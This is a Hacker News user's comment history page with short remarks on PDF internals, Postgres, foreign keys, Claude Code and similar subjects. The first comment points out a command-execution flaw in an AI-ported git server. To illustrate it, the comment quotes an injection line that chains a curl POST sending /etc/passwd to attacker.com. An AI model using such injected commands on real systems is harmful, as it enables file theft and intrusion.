HNHacker News
TopNewBestAskShowJobs

aidos

8,384 karma · joined December 3, 2010

Co-founder of https://www.countfire.com

I like automating things. Currently building lots of software in Python / Typescript / Postgres.

Contact me: aidankane on that google hosted email platform.

submissionscomments
aidos··on Porting 100k lines from TypeScript to Rust using Claude Code in a month
Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.

But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'

https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...

aidos··on 80386 Multiplication and Division
Not sure if it has a name but often there’s a trend of “one thing leads to another” related articles on the HN front page.

Yesterday there was something similar that might have planted a seed in your mind like it did for other people.

https://news.ycombinator.com/item?id=46735133

aidos··on Show HN: Sweep, Open-weights 1.5B model for next-edit autocomplete
As you said. Fill-in-the-middle.
aidos··on New information extracted from Snowden PDFs through metadata version analysis
Ha! As if anything about Notion is simple.

But yeah. It's all just objects pointing at each other. It's mostly tree structured, but not entirely. You have a Catalog of Pages that have Resources, like Fonts (that are likely to be shared by multiple pages hence, not a tree). Each Page has Contents that are a stream of drawing instructions.

This gives you a sense of what it all looks like. The contents of a page is a stack based vector drawing system. Squint a little (or stick it through an LLM) and you'll see Tf switches to Font F4 from the resources at size 14.66, Tj is placing a char at a position etc.

    2 0 obj
    <<
      /Type /Page
      /Resources <<
        /Font <<
          /F4 4 0 R
        >>
      >>
      /Contents 5 0 R
    >>
    endobj

    5 0 obj
    <<
      /Length 340
    >>
    stream
    q
    BT
    /F4 14.66 Tf
    1 0 0 -1 0 .47981739 Tm
    0 -13.2773438 Td <002B> Tj
    10.5842743 0 Td <004C> Tj
    ET
    Q...
    endstream
    endobj
I'm going to hand wave away the 100+ different types of objects. But at it's core it's a simple model.
aidos··on New information extracted from Snowden PDFs through metadata version analysis
You can replace objects in PDF documents. A PDF is mostly just a bunch of objects of different types so the readers know what to do with them. Each object has a numbered ID. I recommend mutool for decompressing the PDF so you can read it in a text editor:

    mutool clean -d in.pdf out.pdf
If you look below you can see a Pages list (1 0 obj) that references (2 0 R) a Page (2 0 obj).

    1 0 obj
    <<
      /Type /Pages
      /Count 1
      /Kids [ 2 0 R ]
    >>
    endobj

    2 0 obj
    <<
      /Type /Page
      /Contents 5 0 R
      ...
    >>
    endobj
Rather than editing the PDFs in place, it's possible to update these objects to overwrite them by appending a new "generation" of an object. Notice the 0 has been incremented to a 1 here. This allows leaving the original PDF intact while making edits.

    1 1 obj
    <<
      /Type /Pages
      /Count 2
      /Kids [ 2 0 R 200 0 R ]
    >>
    endobj
You can have anything inside a PDF that you want really and it could be orphaned so a PDF reader never picks up on it. There's nothing to say an object needs to be referenced (oh, there's a "trailer" at the end of the PDF that says where the Root node is, so they know where to start).
aidos··on My article on why AI is great (or terrible) or how to use it
The linked Claude generated script for giving more control over permissions in tool use is… typically Claude.

The code interleaves rules and control flow, drops side effects like “exit” in functions and hinges on a stack of regex for parsing bash.

This isn’t something I’ve attempted before but it looks like a library like bashlex would give you a much cleaner and safer starting point.

For a “throwaway” script like this maybe it’s fine, but this is typical of the sort of thing I’m seeing spurted out and I’m fascinated to see what people’s codebases look like these days.

Don’t get me wrong, I use CC every day, but man, you do need to fight it to get something clean and terse.

https://gist.github.com/mrocklin/30099bcc5d02a6e7df373b4c259...

aidos··on Building an AI agent inside a 7-year-old Rails monolith
Makes sense. I agree that it’s probably a safe bet too. Not sure how customers would feel about it though.

It’s also funny how these tools push people into patterns by accident. You’d never consider sending a customer’s details to a 3rd party for them just to send them back, right? And there’s nothing stopping someone from just working more directly with the tool call response themselves but the libraries are setup so you lean into the LLM more than is required (I know you more than anyone appreciate that the value they add here is parsing the fuzzy instruction into a tool call - not the call itself).

aidos··on Building an AI agent inside a 7-year-old Rails monolith
> No model should ever know Jon Snow’s phone number from a SaaS service, but this approach allows this sort of retrieval.

This reads to me like they think that the response from the tool doesn’t go back to the LLM.

I’ve not worked with tools but my understanding is that they’re a way to allow the LLM to request additional data from the client. Once the client executes the requested function, that response data then goes to the LLM to be further processed into a final response.

aidos··on X-ray: a Python library for finding bad redactions in PDF documents
A while back I did a little work with a company that were meant to help us improve our security posture. I terminated the contract after they sent me documents in which they’d redacted their own AWS keys using this method.
aidos··on I failed to recreate the 1996 Space Jam website with Claude
Is the skill effectively just adding a little extra context here though? Doesn’t strike me as the sort of context that would improve the outcome.

https://github.com/anthropics/claude-code/blob/main/plugins/...

aidos··on Super fast aggregations in PostgreSQL 19
The key idea here seems to be that if you’re grouping on a column on a related table you can do your main aggregation by grouping on the foreign key id on the primary table and use that as a proxy for the data on the related table that you’re actually grouping by.

In the examples given, it’s much faster, but is that mostly due to the missing indexes? I’d have thought that an optimal approach in the colour example would be to look at the product.color_id index, get the counts directly from there and you’re pretty much done.

I have a feeling that Postgres doesn’t make that optimisation (I’ve looked before, but it was older Postgres). And I guess depending on the aggregation maybe it’s not useful in the general case. Maybe in this new world it _can_ make that optimisation?

Anyway, as ever, pg just getting faster is always good.

aidos··on Hypothesis: Property-Based Testing for Python
Not decorators (or at least not last time I looked) but we use fast-check.

Was already familiar with and using Hypothesis in Python so went in search of something with similar nice ergonomics. Am happy with fast-check in that regard.

https://fast-check.dev/

aidos··on Tailscale Services
Does anyone use Tailscale in production as the network layer between services? Would be interested about hearing experiences.

We use it for to allow us to connect in from the outside (and user to user access etc), but not for service to service connections.

aidos··on Our LLM-controlled office robot can't pass butter
For those lucky people who are yet to discover Rick and Morty.

https://www.youtube.com/watch?v=X7HmltUWXgs

aidos··on Asbestosis
It comes up a lot on the diyuk subreddit so they have pinned mega thread about it. I like it to give a little balance to the conversation.

https://www.reddit.com/r/DIYUK/comments/133jq4r/the_is_this_...

aidos··on Why I code as a CTO
Question for people who have gone through the journey of being tech founders that have grown a company. At what size of org / engineering team would you expect the founder to not code at all anymore?

Edit: relatedly - at what size do you need a cto?

aidos··on Foreign hackers breached a US nuclear weapons plant via SharePoint flaws
We sync content to MS hosted Sharepoint using rsync. When the file arrives, they change the internal metadata inside the file, which changes the checksum, which causes rsync to think the content is different and needs syncing again.

Edit to say: this is for MS files like Excel docs

aidos··on Fallout from the AWS outage: Smart mattresses go rogue
The lead character in the first image has a sort of “essence of forehead”
aidos··on Comparing the power consumption of a 30 year old refrigerator to a new one
Amen. I put my dishwasher in myself so I get to curse myself for that hacking.

Worst was sourcing the parts though. Getting the thing out, effectively getting it up on blocks to run it and see the issue was hard work. Getting the specific totally non-standard o-ring size out of the manufacturer was impossible. In the end I resorted to siliconing but I just cannot dump something like that over a 5c part.

aidos··on ./watch
./<tab> completes nicely. Ambiguity is removed. There’s no chance of accidentally running the wrong executable.

So I think you and I differ on this one, but none of this is a hill I care to die on.

aidos··on After nine years of grinding, Replit found its market. Can it keep it?
Yeah that’s fair - and to be clear, I’m not really defending the CEO in this case. As a founder, I was just imagining a scenario where one of our team did something similar and how I might react to it. My thoughts (and point) drifted a bit.

Serves more as a reminder to the youngsters out there that potential future hirers will use things like this to inform hiring decisions. Legal or not, your history follows you around (I’m old enough to be lucky to not have the stupid stuff I did early in my career available online). Be free, go build stuff for fun but keep clear of your employers space.

aidos··on After nine years of grinding, Replit found its market. Can it keep it?
To play devil’s advocate - where do you draw the line? They say they’re not going to push further into competing, but what if they did? I don’t know enough about either platform to really comment on how much of a big it is / how much they crossover. I do feel that it shows somewhat bad judgement on behalf of the intern to build something in exactly the same space as a former employer. One of the great things about software is that you can always move into another domain with your skills.

Obviously, I love the likes of Tailscale for embracing and supporting this behaviour - but that’s super exceptional (because they’re a strong team).

aidos··on CSS's problems are Tailwind's problems
I do, and it’s great having the styles right there and hackable.
aidos··on It's rude to show AI output to people
I really don’t think they’re the same thing. Email or letter, the words are yours while an LLM output isn’t.
aidos··on How to Get Foreign Keys Horribly Wrong
Not quite. It can reference any combination of columns with a unique index (of with the PK is by definition).
aidos··on How to Get Foreign Keys Horribly Wrong
I guess it depends on how much time you’ve spent in a relational db. For people who mostly interact with them via an orm, I can see where the confusion comes from.
aidos··on How to Get Foreign Keys Horribly Wrong
I wasn’t totally clear on my original statement. As you point out, the referenced columns in the referenced table need to have a unique constraint and that’s done with a unique index. My understanding is that this ensures there’s no ambiguity as to which row is referenced and allows for efficient enforcement of the FK constraint.

Django automatically creates an index on the referencing table to ensure that joins are fast. The fact that you have the relationship in the ORM means that’s how you’re likely to access the data so it makes perfect sense.

The mental model mismatch I’ve seen is that people appear to think of the relationship as being on the parent object “pointing” at the child table.

aidos··on How to Get Foreign Keys Horribly Wrong
I’ve done a lot of interviewing and I’ve discovered that many devs (even experienced ones) don’t understand the difference between indexes and foreign keys.

My assumption is that people have used orms that automatically add the index for you when you create a relationship so they just conflate them all. Often they’ll say that a foreign key is needed to improve the performance and when you dig into it, their mental model is all wrong. The sense they have is that the other table gets some sort of relationship array structure to make lookups fast.

It’s an interesting phenomenon of the abstraction.

Don’t get me wrong, I love sqlalchemy and alembic but probably because I understand what’s happening underneath so I know the right way to hold it so things are efficient and migrations are safe.

aidos··on MacPaint Art from the Mid-80s Still Looks Great Today
Love it.

At the end of the article they mention digging in to the Amiga scene. If you want to feel old, Deluxe Paint turns 40 this year. My mates had Amigas (I had an Amstrad) and the computing world just felt full of wonder and promise. It was a magical time of creation.

https://en.m.wikipedia.org/wiki/Deluxe_Paint

aidos··on Why LLMs Can't Write Q/Kdb+: Writing Code Right-to-Left
Oh right, gotcha. I always do from PIL import Image
← PreviousPage 2 of 34Next →